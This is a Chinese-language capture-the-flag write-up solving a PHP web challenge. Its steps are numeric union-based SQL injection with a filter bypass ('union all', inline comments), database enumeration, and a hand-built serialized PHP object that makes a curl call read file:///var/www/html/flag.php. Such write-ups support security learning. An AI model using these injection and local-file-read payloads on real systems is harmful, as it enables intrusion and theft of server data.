页面显示:有login和join两个按钮,join应该是注册,输入数据后老是提示blog is not valid,
不合规则,查看robots.txt(规则文件),结果显示user.php.bak,是个备份文件:
打开看看,下载后查看代码,在isValidBlog中发现正则表达式,对blog进行匹配,原来对blog的格式要求是url形式:
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
blog随便写个url,比如:www.baidu.com
显示:点进去看看,查看源代码猜测应该是有sql注入的:
源代码中显示有view.php?no=1,在url中试试sql注入:
view.php?no=1 and false
view.php?no=1 and true
是数字型注入,验证得到。SQL注入流程走:
no=1 order by 1直到
no=1 order by 5出现错误,那么说明列数为4。
判断回显:
no=1 union select 1,2,3,4 limit 1,1
没有结果,被过滤了:
使用union all或者中间加注释绕过过滤:
no=1 union all select 1,2,3,4 limit 1,1
no=1 union /**/ select 1,2,3,4 limit 1,1(limit m,n:从下标为m的行索引开始取,取n行数据,第一个1表示下标,第二个1表示取几行数据)
结果显示第二列可以显现:
获取数据库:no=1 union all select 1,database(),3,4 limit 1,1 得到fakebook
获取表名:no=1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' limit 1,1 得到users
获取列名:no=1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users' limit 1,1 得到no,username,passwd,data
获取数据:no=1 union all select 1,group_concat(data),3,4 from fakebook.users limit 1,1
得到:
显示的数据来看,这是类UserInfo中对象序列化函数得到的结果。传入参数$this->blog使用getBlogContents()中的get函数得到序列化后的结果。那么传入前应该是反序列化后的UserInfo,get函数的功能是用curl请求页面内容,但是没有过滤url,可以通过构造url为file协议,从而实现访问本地文件。使用御剑扫描域名得到flag的位置,得到flag.php在服务器根目录下,从前面的报错内容上看服务器根目录为/var/www/html,所以构造的blog为file:///var/www/html/flag.php
则data字段的值为file:///var/www/html/flag.php序列化后的结果,又因为blog被限制为url形式,所以不能通过join方式。但是可通过不知名数据表的select语句将file:///var/www/html/flag.php放入select查询语句的结果集中,然后通过limit控制取出该结果。
进行序列化:
<?php
class UserInfo{
public $name="";
public $age=0;
public $blog="";
public function __construct($name,$age,$blog){
$this->name=$name;
$this->age=(int)$age;
$this->blog=$blog;
}
}
$userInfo=new UserInfo("sszdlbw","22","file:///var/www/html/flag.php");
echo serialize($userInfo);
?>
得到:
O:8:"UserInfo":3:{s:4:"name";s:7:"sszdlbw";s:3:"age";i:22;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
构造payload:
no=1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:7:"sszdlbw";s:3:"age";i:22;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from fakebook.users limit 1,1
得到结果查询源代码,找到base64编码的字符串进行解码得到flag。